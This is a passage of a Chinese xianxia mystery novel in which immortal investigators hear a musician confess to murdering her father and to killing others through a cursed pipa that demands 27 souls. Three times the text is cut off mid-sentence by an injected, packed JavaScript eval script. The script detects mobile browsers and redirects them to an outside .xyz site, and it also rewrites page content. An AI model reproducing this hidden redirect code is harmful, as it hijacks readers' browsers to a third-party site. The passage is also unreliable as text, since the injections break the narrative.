“因为那幅慈母图,”颜故指了指那对盈盈微笑着的母女,将自己与青晏刚才的讨论简单讲了一下后继续道,“翻新后的乐楼里所有的装潢都呼应得极为精妙,只有这幅慈母图略显突兀。而齐王本就是为了讨柳滢容的欢心才盘下这家乐楼,此前也曾提到过此次重装多亏了柳滢容的把关,也就是说,如果没有柳滢容的同意,这幅图决计不会出现在这里。” 他的瞳孔深处有寒芒在微微跳动:“而如果是莫文才私下在装潢完毕后换了这幅画上去,那么这幅画的位置绝不会是在所有人,包括柳滢容和齐王本人都能看得见的乐台附近。事实上,这幅画能在过了这么多天后依然留在这里,就足以证明挂上它的人,正是如今仙音阁里实际话语权最大之人——柳滢容。” 还差三笔。 青晏正专心致志地给即将完成的法阵收尾,心中却在这紧要关头升起一股喜悦来。 颜故果然是个聪明人,一点就透,方才所言竟与她此前所想分毫不差。 如今由他将这些推论一一道出,委实省了自己不少口舌,将他分到自己座下实在是宸景这么多年来做的最英明的决策之一,回去之后是得好好夸夸他…… 就在这时,空中乍然传来一道尖锐的破裂声。 玄元镜猛地腾空而起,镜面上繁复华丽的花纹如流水般涌动,原本只有玉盘大小的镜面在众人惊愕的目光中迅速放大,最终化作一面足有一人多高的巍峨巨镜。 一道神符在镜中爆燃起来,紧接着一道夺目刺眼的光芒自镜中迸发而出,犹如烈日初升,刺得人睁不开眼。光芒之中隐约有几道模糊的人影逐渐浮现,一阵似远似近的琵琶声也由镜中缓缓传出。 青晏面色骤变,当即抛下马上就要完成的法阵,瞬间化为一道青影没入光华流转的镜面当中,明煦等人见状也毫不犹豫地紧随其后。 就在他们冲入镜中的那一刻,周围世界瞬间变换。 一股浓重得几乎令人窒息的血腥气骤然涌入鼻腔,待视线逐渐适应这阴暗的环境,众人才惊觉自己已置身于一间昏冷潮湿的牢房之中。几缕微弱的光线从高处的小窗透射进来,勉强照亮了周围散发着湿漉漉霉味的石壁。 一个浑身血肉模糊的人形堆摊在石壁旁边,身体几乎已经被彻底撕裂开来,面容也无法辨认,只能从那残破的身形中能依稀辨认出这人形曾是一个男子。往前不远处,不省人事的温隐攥着青晏之前给的神符,倒在一地散落的碎砖裂石中,面色苍白得近乎透明。 牢房正中,柳滢容凌空而坐,发丝散乱,神色木然地弹奏着悲凉迟缓的曲调。她身上那一袭素白的外袍已被鲜血浸润,红色和白色杂乱无章地交错在一起,将那件衣服衬得看起来反倒犹如一件精心染制而成的诡异华服。 她的视线缓缓挪到突然出现的青晏几人身上,眸中却毫无半分常人该有的惊异之色,甚至还淡淡笑了笑,仿佛对眼前所发生的一切早有预料。 青晏迅速检查了一下温隐的情况,见他不过是因为仙力耗尽才陷入昏迷,这才松了口气,将其由镜面送回到更加安全的仙音阁。 她握住重新恢复正常大小的玄元镜,对已缓缓落至地面的柳滢容开口道:“柳乐师,你是不是该给我们一个合理的解释?” 柳滢容就那么毫无波澜地看着青晏将温隐送了回去,面上的表情在青晏发问后才开始变得有些好奇:“解释?你指什么事情?” 她朝青晏的镜子抬抬下巴:“如果是刚才那个小神仙,这可怪不得我,是他先突然冲出来向我发难,我只是……阻止了他那么做而已。” 青晏面色冷硬。 她知道温隐出现在这里绝非偶然,一定是他在日常追踪柳滢容动向时发现了什么十万火急的事情,这才连通知她都来不及,自己亲自前往阻止。只是他万万没想到自己的法力居然不敌柳滢容,于是才在危急关头燃了那道可以将她立即唤至此处的神符。 可要知道温隐作为一个驻扎在人界近万年的驻令使官,绝非是什么法力低弱之辈,怎么可能如此轻易便耗尽仙力? 柳滢容和她的琵琶,究竟有着怎样不可小觑的可怕能力? 见青晏没有回答究竟要她解释什么问题,柳滢容反倒如春风化雨般和柔一笑:“几位仙长放心问吧,看在我们之前的交情,我定然知无不言,言无不尽。” 她像是已经彻底放下了什么纠缠在她内心许久的愁苦一般,轻松愉悦地看着青晏几人,欣赏着他们在听到她的话后均是眉心一跳的神情。 紧接着她的视线扫过一脸戒备的唐禾,叹息道:“不愿意承认吗?何必如此谨慎呢?宴席当天我便知道你们的身份了,不是也没动手?我应该……不会对你们动手的。” “毕竟我们没有对自己的妻儿薄恩寡义,漠不关心,对吗?”颜故轻声道。 柳滢容不置可否地挑挑眉。 “那厉贺千呢?”唐禾立即道,“他对妻女一直是那样的冷淡态度,为什么你突然决定要在这个时候杀了他?” “厉贺千?”柳滢容回忆了半晌,疑惑道,“那是谁?” 明煦简直要被震撼了,怎么会有人杀了人之后连这个人的名字都不记得?还是说她杀人之前压根就不关心这个人到底是谁?这得是杀了多少个人的大魔头,才能做到如此毫不在意…… 但她还是回答了:“……就是那天与我喊价的那个人。” 柳滢容又思索了一阵:“是他呀?确实不是什么好人,但我也给过他最后一次机会的。” 她发出一声讥讽的轻笑:“即便他成婚七年,女儿四岁,却几乎不知道父亲长什么样子。而在见不到他的日子里,这位父亲也并没有埋首书海,以图金榜题名;或是投身商海,为家室温饱奋斗……”柳滢容的神情逐渐冰冷起来,“而是流连于烟花之地,于郊外私藏六七名红颜知己。” “就算是这样,他也还是有最后一次机会。”她淡然道,“那天他用尽浑身解数却依旧未能赢过你的出价后,他自觉丢了脸面,却选择将这股火气发到妻女身上,更是孤身一人携财出走。若他不这么做,便不会有如今这般下场。” 她的手缓缓搭在了琵琶弦上:“可惜他没有。” “所以,你便通过早就隐藏在他身上的诅咒杀了他?”青晏问。 柳滢容露出一个略略惊讶的表情:“竟然连这个都知道了?那……你们到底还需要我解释什么呢?不是已经都猜出来了吗?” “我们还有很多谜团需要柳乐师解开,”青晏凝视着柳滢容手里的那面琵琶,“比如,那到底是一道什么样的诅咒,是本就一直存在的,还是你自己设立的?而你作为一个凡人,又是如何得到这样阴毒罕见的法器?” “凡人……”柳滢容怔怔地重复着,眸中漫起一阵哀愁的迷雾:“我如今,也还算是人吗?” 青晏沉默地看着她。 柳滢容只恍惚了片刻便回过神来:“告诉你倒也无妨。” 她垂下眼帘:“只要……” “德音!!!” 一声极为凄厉的嘶吼瞬间炸入牢房内几人的耳中。 柳滢容闻声面色骤变,手指飞快地向琵琶弦伸去,却被早就有所防备的青晏飞出的冷芒立即打偏。 她顾不上自己已经开始红肿的手背,咬牙用尽全力在琵琶上重重一按,纷乱的琵琶音符即刻如骤雨般疾疾而出,却并不是攻向青晏等人,而是狠狠地砸向了石壁。 随着一声轰天巨响,牢房间顿时碎石纷飞,牢房的门也在这强大的冲击力下被拉扯扭曲得变形,无法进出。 唐禾反应极快,在碎石迸出的那一刹那手腕一振,他的法宝辰铁扇登时犹如铁壁般迅速展开,将向他们几人汹涌砸来的碎石尽数挡回,甚至有不少锋利石片随着这股力量划过柳滢容身上,溅落在她身后的地面,将那具本就伤痕累累的尸体砸得更加惨不忍睹。 可柳滢容丝毫不顾自己周身已被划出数道血痕。她似是全然感觉不到疼痛一般,手下拼命拨动着琵琶弦,继续释出一波又一波的音符砸向牢门附近的石壁,牢房的门也被落下的石块堵得愈发严实。 颜故眯了眯眼,挥剑便是一斩。 伴随着石破天惊般的可怕震响和遮眼的漫天灰尘,原本已然被堵得毫无缝隙的牢门处赫然裂开一个硕大的洞口,从中传出的那道急促凌乱的脚步声也越来越近。 听到这声音,柳滢容面色愈发急切,像是发了狠般地急速拨动着琵琶弦,牢房内一应能活动的物件竟都被她操纵着凄厉的琵琶弦音向那洞口堵去。 可已经明白了她意图的颜故自然不会退让,挥剑之间法力涌动,将那些物件用璀璨如虹的剑光纷纷化作粉末,让它们再起不到半点阻挡作用。 牢房外,跌跌撞撞的脚步声越发清晰。 柳滢容急切地转向颜故,面上竟破天荒地带了恳求之色,颤声道:“快停手,别让他……” 可未及她话音落地,浑身都是尘土的齐王便一头撞了进来。 他瞠目结舌地望着已经快要变成半个废墟的牢房,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她想要抽回自己的手,可齐王却将她抓得更紧了:“我相信这不是你的血,但我不相信你没事,我也不相信你之后还会来找我。今天你若一定要我走,我只会和你一起走,带你去看太医,别的事都可以之后再说。” “如果你还有事需要和几位道长商议,”他转过身来,对着青晏几人冷静道:“此处阴暗潮湿,实在不是个说话的好地方。不知几位道长可否赏光到我府上一叙,或是寻个酒楼坐下来慢慢谈?” 明煦再次被震撼了。 她知道齐王一遇上柳滢容的事儿就是个疯的,但实在想不到竟然能疯到这种地步。 她缓缓伸出手,指向角落里那具被碎石乱炸过后变得更加残破模糊的尸体:“打扰一下,我有个问题实在想问。齐王殿下,那边的情形,你应该是能看得见的吧?” 齐王朝她所指的方向斜睨了一眼,转过头去默不作声。 “另外,这满屋子的碎石头土块子,”明煦的手指将自己这边几个人划拉了一通,“可也不是我们干的。” 齐王与她对视,目光毫不闪躲:“这其中必有误会。” “误会?”颜故轻声反问,“你的德音,身上至少背着几十条人命,一手琵琶弹得法力恢弘,连已飞升成仙近万载的仙官都能打晕过去,你觉得我们还应该怎么误会?” 齐王咬紧牙关,面色冷峻:“什么人命,什么仙官?若无确凿证据,怎能肆意诋毁他人?更何况德音天性良善,就算……” “可我并非良善之辈。”柳滢容的声音突然在他背后响起。 她的嗓音像寒冬中已经被冻实了的湖面般森冷,平稳得没有一丝波澜。 齐王猛地回头。 柳滢容坚定地从他手心里缓缓抽出自己的手,指向了角落里那具血肉模糊的人形:“你知道那是谁吗?” 齐王喉结动了动,语调竟出奇地平静下来:“我知道。” “是吗?”柳滢容盯着他:“那你说,他是谁?” “他是秦明正。”齐王回望着她,眸中流淌着隐隐的哀伤,“不要再说了德音,我都知道的。” 青晏眉间猛地一跳。 秦明正? 按照温隐之前给过的消息,这秦明正分明是柳滢容的…… “是吗?”柳滢容低低笑了起来,瞳孔中闪烁着异样的光芒,“你什么都知道吗?” 齐王眸光微闪,垂睫不言。 “是我杀了他。”柳滢容逼近齐王面前,声音轻如毒蛇吐信,“是我杀了我的父亲,这件事,你也知道吗?” 25.滔天恨意 齐王看着她,竟慢慢地也笑了起来。 他双手捧住柳滢容的脸,和柔道:“德音,你好好想想,这天牢,是谁带你来的呢?” 柳滢容仿佛意识到了什么一般,骤然睁大了双眼。 “我知道你要杀他,所以才带你来啊。”齐王在柳滢容无比震惊的目光中继续道,“就像我也知道你答应跟我回京城,就是为了亲手杀了他一样。” “我说过的,”齐王温柔地拭去柳滢容颊边滑落的泪珠,“你我自幼相伴,我当然能明辨你所言真伪。” 柳滢容声音颤抖:“你从什么时候知道的?” 齐王长长叹出一口气:“我也是……直到前几日才全都明白过来,对不起啊,德音。”他轻轻抱了抱她,“我知道得太晚了。” 随后他转过身去,将柳滢容坚定地护在身后:“几位道长,无论发生了什么,请都务必相信,德音她……身负莫大的苦衷。” 明煦已经被柳滢容千里迢迢回京就是为了亲手杀了自己亲爹,而面前这人知道她要亲手杀爹却毅然帮她达成心愿的事实炸得晕晕乎乎,不自觉地接道:“什么苦衷?” “她……”齐王正要说下去,柳滢容的声音从他背后传出:“算了阿煜,还是我来说吧。” “有些事情,你也不完全清楚。”她望向齐王的眉眼柔和极了,“今日是个好日子,便索性都说开了吧。” 青晏眉尖微挑:“是吗?可在仙音阁的宴席中,柳乐师也曾说过类似的话。” 柳滢容不以为意地笑笑:“此一时彼一时,如今的我,已经没什么需要隐瞒的了。” 她拉着齐王,寻了一块干净些的大块石板坐下。待青晏几人也各自在石块上坐下后,柳滢容对青晏问道:“敢问仙长名号?” “玄镜。” “真好听。”柳滢容点点头,“那你觉得,柳滢容这个名字好听吗?” “好听。” 柳滢容笑靥中带着几分欣慰:“真好。那以后提到我的时候,便还是叫这个名字吧。” 她垂下眼,深深吸进一口气后又徐徐吐出,仿佛这样才有足够的力气去道出接下来的一切:“我曾经的名字,是秦德音。”她冷眼瞟了瞟石壁边上那个惨不忍睹的人形,“地上那个死了的东西叫秦明正,曾经是我的父亲。” “你,你与他可是有什么深仇大恨?”唐禾不禁瞪直了眼睛,“不然怎么会……” “那自然是血海深仇,刻骨铭心,非此无得以报啊。”柳滢容一字一句道。 她浑身都微微轻颤起来,仿佛刻骨的仇恨正在骨血中重新快速涌动,争先恐后迸射出怨毒的气息:“他杀了我娘。” 牢房中一片死寂。 齐王不忍地伸手拢住她的肩膀,眼圈慢慢泛起了红。 柳滢容平复了一阵稍显急促的呼吸,重新开口道:“我娘叫柳如筠,江东柳氏的长房嫡女,自幼才名远扬。然而她对于秦明正来说,却不过是一个家世显赫,很配做他这个状元之妻的寻常女子罢了。至于他自己所谓的真爱,一个芝麻小官家的女儿,与他在朝中所谋毫无助益,自然娶不得。” “虽然娶不得,但不妨碍悄悄养在外头做外室。秦明正这么多年运筹帷幄、机关算尽,终于成功拜相不说,还暗地里将那芝麻小官一点点地提到了四品。一个四品官员的女儿给丞相做续弦,虽说仍旧不太能够得上,但总不至于太过显眼惹人大肆议论。” “甚至这样做于子嗣上也无碍,就算进门前有了孩子也可以先偷偷养着。待这弦一续上,便可宣称这孩子是从旁系中过继而来,又有何人敢于深究当朝丞相的家事呢?”她发出一声无尽悲凉的轻笑,“我那个过继来的所谓弟弟,若真论起来,甚至比我还年长一岁呢。” “一切都被安排得如此周详,只差一个续弦的契机了。那么如何才能让自己顺理成章地续弦呢?休妻吗?不,那会丧失她的家族势力,但不幸离世便无妨了,若是这妻子能在去世前留下血脉延续便更是再好不过。如此一来,就算日后再有新人进门,亡妻的家族念及这份血缘亲情,亦能继续对他秦明正有所扶持。” “更妙的是,”柳滢容眼中慢慢沁出泪来,“人人皆知女子分娩如过鬼门关,所以只需在调理的汤药中稍动手脚,便可轻而易举地坏掉一个人身体的根本,不出十年就能油尽灯枯而亡,任谁都挑不出来什么毛病。” “所以你瞧,”她自嘲地扯了扯嘴角,眼中苦涩氤氲,“我是一个多么好的工具,一个可以一石两鸟,彻底榨干我娘最后一丝价值的工具。” “不是的,不是的德音,”齐王不由得将她拢得更紧,“这世间有很多人真心爱你,你又何必去理会秦明正的所思所想呢?对你娘来说,你就是她无可替代的瑰宝,独一无二,珍贵无比。” “还有……”他咽了咽才又道,“还有我……” 他声如蚊鸣,面色似霞,一双眼却直直凝望着怀中的柳滢容,眸中的真诚与爱意都浓郁得快要滴出来了。柳滢容闻言抬眼去看他,半晌才回过头去,垂眸道:“我明白。” 明煦悄悄捏了捏青晏的手,传念道:“嘶,虽然这个场合不太对,但是他们两个真的好般配,好相爱,好喜欢……” 青晏叹出一口气。 现下这般情形,就算再情深意浓、天造地设,又有什么用呢? 柳滢容已经无路可走,她自己也心知肚明,所以此前才竭尽全力阻止齐王进入此地,唯恐他亦被痛苦与黑暗侵蚀。可她唯独没想到的是,齐王不仅知晓,甚至甘愿陪她一同坠入万劫不复的深渊。 “你既明白我,为什么不来找我呢?”齐王的声音有些颤抖,“我是个王爷,怎么都能有办法悄无声息地杀了他。况且就算是被发现又能怎么样,最严重也不过是贬为庶人,又何必要你来遭受如此劫难呢?” “你杀了他,他还是那个文采卓然、权倾朝野、世人敬仰的丞相,”柳滢容眸色幽深,“而我要的,是整个朝堂、无数门生,无一人肯为他开口;再多亲朋好友、手足兄弟,都对他避之不及。我要他尝尽众叛亲离的滋味,我要他在史书上、百姓间,所有人都对他口诛笔伐,遗臭万年,永世不得翻身!” 这扑面而来的滔天恨意瞬间席卷了牢房内的所有人。 齐王感觉自己痛得快要窒息了。 他不由得将头埋得更低,仿佛只要将身子蜷缩起来,就可以缓解彼此那深不见底的痛苦。他哽咽道:“既如此,我也可以做到这些啊,何必要你自己、自己一个人去承担这些呢?” 柳滢容失神了片刻,目光空洞地望向前方:“可是阿煜,你体会过最刻骨的仇恨吗?” 颜故的视线转向柳滢容,听着她继续道:“那种贯穿全身,无时无刻不在你血液里燃烧、沸腾,让你恨不得下一瞬便化作一团永不熄灭的烈焰,将那个人以及他拥有的一切都慢慢地、一粒粒地烧死、碾碎,直至化为齑粉,就算自己也跟着灰飞烟灭都无所谓的仇恨。” “我对秦明正,便是那般的仇恨。所以我不会,也不能将此事假手他人。身为他的至亲骨肉,由我来探寻他那些罪行的证据,自是比旁人轻易一些。况且日后,若是被人发现他倒台的根源其实在我,他的恶名甚至还能再加深一重。人们不禁会怀疑,秦明正究竟还还犯下了何等滔天罪行,竟能让他自己的亲生女儿都选择与他玉石俱焚,大义灭亲呢?” 柳滢容脸上突然绽放出一个明亮的笑容:“届时他们能说出口的、说不出口的,无数种世间最肮脏、最恶毒的猜疑,都将如潮水般涌向秦明正,让他永生永世,都别想洗刷干净。” 她出神地看着手侧的琵琶,复又将目光投向身旁的齐王。 此时的他正红着眼,泪水犹如断线珍珠般不断滑落,一副心神俱碎,痛彻心扉的离魂模样。柳滢容也情不自禁般伸出手去,拇指轻柔地摩挲过他的脸颊,拭去那些仍然温热着的泪水。 “别哭了,”柳滢容轻声哄道,“我之所以不告诉你,便是不希望看见你如此模样。你生来体弱,偏又总是对我的事太过上心。我怕你知道此事后气急攻心,忧思成疾,身子更不好了该怎么办?我可还希望能看见你平平安安地活上好几十年,变成一个幸福快乐的老爷子呢。” “你要多信任我一些,”齐王一把将她拥入怀中,将头深深地埋在她的脖颈处,“你我夫妻一体同心,无论如何我都会有办法解决的,以后可不许有事瞒着我了。” 唐禾不由自主地长大了嘴:“你们……夫妻?什么时候……?” 柳滢容也是一惊,挣扎了数下才从齐王的怀中脱离出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14045147|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她面颊薄红,蹙眉反问道:“什么夫妻?” “我已经和皇兄说过了,”齐王被泪水浸润过的眼睛熠熠生辉,“我的妻子不会是礼部尚书家的姑娘,不会是任何什么别的人,只会是你。” 他双手握住柳滢容的肩膀,直视着她的双眼,郑重道:“我不会纳妾,更不会有什么外室,我只要你一个,就你一个。” 明煦小声地“嗷”了一声,软软地往青晏身上一倒。 真没想到,在这么腥风血雨的案子里,竟还能让她见到如此细腻动人真挚缠绵的爱意……这可比话本上写得带劲多了,更何况这是真的,不是编的,最最重要的是,这是她自己亲眼所见的! 看来以后说什么都得多下来溜达溜达。天界虽然也好玩,但可没这么多精彩绝伦的故事,大家都太绷着太体面了,爱情故事么,就得癫狂一些才好看。 说来也遗憾,自己最钟爱的那一对,偏生一个身份尊贵深沉寡言,一个又懒得跟人交流,除却少数几个人外,跟谁都是那一副淡然有礼的疏离模样…… 俩人都不主动,这感情可不就一直停滞不前么!唉,遥想上次见他们俩眉来眼去还是在大殿上,也不知道到底什么时候才能真的如传闻里一样成婚…… 明煦脑中瞬间转过一大通念头,眼神不由自主地就飘到了青晏身上。但她很快便发现,看着青晏的人不止她一个,颜故和唐禾竟然也都在望着青晏。 明煦感到十分纳闷。 怎么了?难道他们也觉得宸景和青晏特别相配不成? 柳滢容自是不知他们几人心中所想,只是苦涩道:“太晚了阿煜,没可能的。” 齐王却咧着嘴,颇为自信地拍拍胸膛:“不晚,一点都不晚。相信我德音,一定可以的。虽然皇兄现在还没同意,但他毕竟是我亲皇兄,不会太为难我。况且我真的觉得这事能成,因为就是他告诉我,当初你爹暗地里做的事情都是你散出去这件事的,说是让我回去好好想想你这样的女子是不是真的适合做我的王妃。” 柳滢容不敢置信地抬起头,听着齐王继续道,“既然让我回去想,那便不是直接拒绝,而我立刻就想明白了。”他的面色渐渐阴郁起来,“一定是秦明正做了什么天理难容的事,才逼得你走上这般绝路,甚至,甚至连我都不要了……那时我们明明一年后就要成亲了!” 他懊恼道:“说来也怪我蠢,你那时日日不高兴,我还觉得,或许你是因为有了新的继母而不快。毕竟你娘去世仅仅一年秦明正就再娶新妇,没过多久又借口新夫人身体孱弱不能生育过继了一个人高马大的孩子过来,换我我也会不高兴的。可我万万没想到,秦明正居然能做出杀害发妻这种猪狗不如的事情!” “我这一年里,费尽口舌想为你保住他的性命,没想到反而是在犯蠢。”他小声嘟囔着,随即眸光大盛,“但我现在聪明了!皇兄和我讲明的那天我便立刻想到,既然你如此恨他,自然是不会想要他活着的。你本已多次拒绝跟我回京,却在知道秦明正还活着之后突然改了主意,那必然是想要杀了他。因此我今日送你来,就是为了让你如愿以偿。” 柳滢容张了张嘴,但喉咙却好似被什么东西堵住般没能发出任何声音。 齐王从腰间摸出一柄闪着冽冽寒光的匕首,兴冲冲地对她展示着:“你看,我甚至都做好了准备,以防你虽想他死但自己下不去手。这样的话,那便由我来。但方才你一把我支出去,我便全都明白了。” 他得意地昂起头:“我把门口的守卫都调走了,本来到时候是想说秦明正失了智要杀我,我被迫反击不小心弄死了他就行。不过看如今这情形……” 他环视了一圈和断壁残垣基本无甚差别的牢房,将匕首重新别回腰间:“打斗间牢房年久失修突然塌了一处,正好把他砸死也不是不行。” “所以德音你看,我是有办法的,是个能靠得住的人,你以后多依赖我一点好不好?”齐王摇摇柳滢容的手,“我可以做的事情还有很多。比如其余的那些秦家人,都有谁曾经对你或者对你娘不好,我去把他们都杀了,你只需要告诉我名字……” “不必了。”柳滢容出声打断他。 她垂着眼,许久才沙哑着声音道:“已经够了。” 青晏眯起眼:“什么够了?” 26.如愿以偿 “秦明正已死,我的复仇到此为止了。”柳滢容平静地直视着青晏,“不会再有别的人丧命了。” 她弯腰将地上的琵琶捡起放在膝上,轻轻拂去上面沾染的灰尘。 青晏看着她:“既如此,令堂去世的真相,你是如何知晓的?” 柳滢容有些诧异地抬眼:“仙长方才不是还在关心诅咒的事情,怎么突然又问起这个?这很重要吗?” “重要,因为这是一切事情的起源。”青晏的声音沉静有力,“如果不是知晓了你母亲去世的真相,你便不会萌生复仇之念,世间便不会有柳滢容这个名字的存在,那些和你父亲有着类似行径的人或许并不会死,今日之事,则更不会发生。” 她的视线再次落在了琵琶上:“所以我想知道,这真相究竟是你自己发现的,还是什么别的东西灌输给你的?” 柳滢容怔住了。 她转眼回忆了片刻,对青晏道:“我娘极擅琵琶,我手里的这把便是她生前最爱。可惜后来在我娘离世之际,它被府中一个手脚不干净的下人趁府中管理松懈之际盗走,还是几个月后阿煜在观赏某收藏大家的私人珍藏时意外发现,这才替我寻回。” “就在这把琵琶失而复得的当晚,我便做了一个极其真实的梦。梦中有秦明正买通大夫和下人在我娘补药中动手脚的画面,也有他与那外室蜜里调油、图谋不轨的画面。” “我醒来时自是不敢相信的,”柳滢容咬了咬牙,“然而经过长达半年的仔细查证,我搜集到的诸多蛛丝马迹竟都能连到一起,那梦里所示,居然都是真的。我当时便想,这定是我娘在天有灵托梦于我,让我切勿被秦明正所惑,让我为她报仇雪恨。” 颜故开口道:“你如何确定回来的这把琵琶就是你母亲的那把呢?若凭记忆仿制一把,想来也不难吧。” 齐王被颜故若有似无瞟过来的那一眼惹得有点不高兴,登时便不服气地回道:“就是这把!当年德音弹琵琶的时候我曾舞剑给她助兴,没想到剑不小心脱了手,将琵琶上镶嵌的一块红宝石打出了一道划痕。我回去重新找了几颗,想着比对一下哪颗换上去效果最好,可柳姨说不必费心换了,这块特殊的红宝石会是我和德音之间记忆的见证,所以我才没换,而是把找的那些红宝石给德音打了副新头面。想要做一把一模一样的琵琶自然简单,但再寻一颗有着一模一样划痕的红宝石,那可是难上加难!” 青晏扫了一眼那琵琶上那些璀璨夺目的红宝石,其中一颗确如齐王所说有着一道浅浅的划痕。然而,这并不能代表这琵琶就一定是原来柳母手中的那把,即便是,这把琵琶从一开始便绝非凡间之物。 柳滢容虽是凡人,但世间有不少法宝即便是被毫无法力的凡人所持,也能凭借自身力量展现其威力。然而令人费解的是,方才这把琵琶在攻击时明明是有法力波动的,可又为什么却会在诅咒生效时全然不留下任何寻常痕迹? 青晏仍在琢磨着,唐禾却突然闷声道:“不会是你母亲托梦的。” 他看向柳滢容的眼神中满是不忍:“就算是你母亲在天有灵,知道了自己竟被枕边人所害的真相,她也定不愿以这样的方式让你知道,更不愿让你承受如此煎熬苦痛。若换做是我,我所求的只会是让我女儿开心、平安、幸福地度过一生,而不是……” 而不是像现在这样双手沾满鲜血。 “我不在乎。”柳滢容的回答掷地有声。 她面色虽依旧苍白,但直起的腰板却似一棵狂风中仍屹立不倒的劲松:“只要能为我娘复仇,不叫她死得不明不白,不叫应受惩罚之人逍遥自在,这真相我究竟如何知道,又或是因为什么缘由才被我知道,我都不在乎。” “你是个好人,我很感谢你的将心比心,但请你不妨也站在子女的角度设身处地想上一想,”柳滢容目光锐利似剑,“若是你的父母被人加害,你会甘愿开心、平安、幸福地度过这一生吗?” 颜故静静地看着她。 唐禾下巴上的线条也猛地一紧,只得沉默地低下头去。 最终还是青晏打破了这沉甸甸的寂静:“所以,你又是如何发现琵琶能够杀人的呢?想必是离开京城之后才知道的吧。” 柳滢容轻轻点了点头:“没错,否则秦明正不会苟活至今。”她神情复杂地看着膝上的琵琶,“我初到承安郡时没什么名气,偶尔有些人对我说浑话,也没什么好办法登时反击。虽然有莫先生替我事后出气,但我心中难免还是介怀,便总是暗骂叫他们去死。” 她安抚地拍了拍齐王握过来的手:“谁知有一天,我突然听说酒坊李家的二儿子死了。说是喝醉贪凉在花园的石路上睡了一晚,接连发了几天高烧,人就这么没了。我当时还觉得真是恶有恶报,甚是高兴了一场,结果没过几天,另一个曾经对我口出狂言,而我也反复咒骂过的人,在湖心游船时溺水而亡。” “我当时依旧觉得这一切都是巧合。可直到前前后后,一共有六个我曾经诅咒过他们去死的人,真的都死于各种各样的意外时,我便开始有些害怕了,甚至开始怀疑,自己是不是有些什么不一样的神通。” “然而经过反复尝试,我发现除了能通过心中诅咒杀人,我什么都做不到。”她痛苦地闭上了眼,“我没办法让我娘起死回生,这诅咒也无法对承安郡外的人起效,就连简简单单想用意念挪动个东西都是徒劳。” “然而过了几天,我突然听见琵琶对我说话了。”柳滢容缓缓睁开双眼,眸中跳动着奇异的光芒,“虽然它说得断断续续,声音也不大,但我听懂了。” “它说,它有办法复活我娘,只是现在它的力量太过微弱。不过只需要攒齐二十七条恶魂献祭给它,它便能有足够的法力让我娘重返人间,母女团圆。甚至这二十七条人命也无需我亲自动手,只要我还像之前那样,在心中念一念该死之人的姓名,而这人也曾听到过它所弹出的乐曲便足够了。况且由于我之前的误打误撞,它已经收集到了六条恶魂,所以我只需再攒上二十一条,便能达成所愿。” 青晏眉头紧锁,而明煦听得心惊:“所以你便照做了?” “一开始……没有。”柳滢容艰难地摇头,“我当时甚至在后悔,怎么能因为我一个人的好恶就让人丧了命呢?若是我没有在心中骂过他们便好了,他们的家人也不会为此伤心欲绝。于是我问琵琶,这恶魂该如何去找,正待问斩的死囚是否算呢?可它说不算,这些人的罪行已由尘世审判过,魂灵中的恶会在他们身死的那一刻转为世间正道,无法助它增长力量。而越是那些深深隐藏在人群中,世间正义很难审判到的恶魂,对它来说才越有效。” “我辗转反侧、夜不能寐了足足一个月,”她忽然露出一个有些奇怪的笑容,“直到我发现这些人的死对他们家人来说反倒是个解脱。” “不知何时会袭来的酒后老拳、不知何时会成为赌桌上筹码的恐惧、不知丈夫何时才能不再流连花丛漠视自己的心碎、不知自己的孩子未来是否也会受其父恶行浸染步入歧途,重蹈覆辙的担忧……年年岁岁,日日煎熬。” 柳滢容眼中的墨色深不见底,“既如此,我便做一回生杀予夺的天又如何?好让这些毫不珍惜自己圆满家庭,将其亲手毁掉、弃若敝履的人,通通去死。” “你们根本想象不到这样的人有多好找,”她发出一声彻骨的嗤笑,“所以很快我便收集到了二十四条恶魂。我终日都在盘算,届时到底如何庆祝为好呢?等我娘复活之后,我们又该去到哪里,该如何生活呢?” 柳滢容的笑渐渐冷了下来:“可是你们突然来了。在我只差三条恶魂,马上就要如愿以偿的时候来了。” 颜故微微皱眉:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14056606|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既见到了我们,为何还敢对厉贺千下手,难道不该避避风头,省得功亏一篑吗?” “诸位仙长,”柳滢容摊开双手,“我只是一个再普通不过的凡人,我这双眼或许能辨一辨好坏忠奸,却根本认不出仙凡之分。那日在乐楼初见你们时……” 她的手缓缓垂下,眼睛望着地面,声音轻得仿佛下一秒就要消散在空中:“我还以为那所谓的世间正道终于化为人形了。” “你既有琵琶相助,为何直到宴席当日才认出我们并非凡人?”青晏望了一眼安静着的琵琶,“难道它不应该立即告知于你么?” “除却那次告知我需要二十七条恶魂才能复活我娘之外,琵琶从不与我主动说话。”柳滢容摇摇头,“还是宴席那日我自己起了疑心,特意拿来琵琶印证了一番,这才得知你们身份非凡,所以我才急着回了京。” 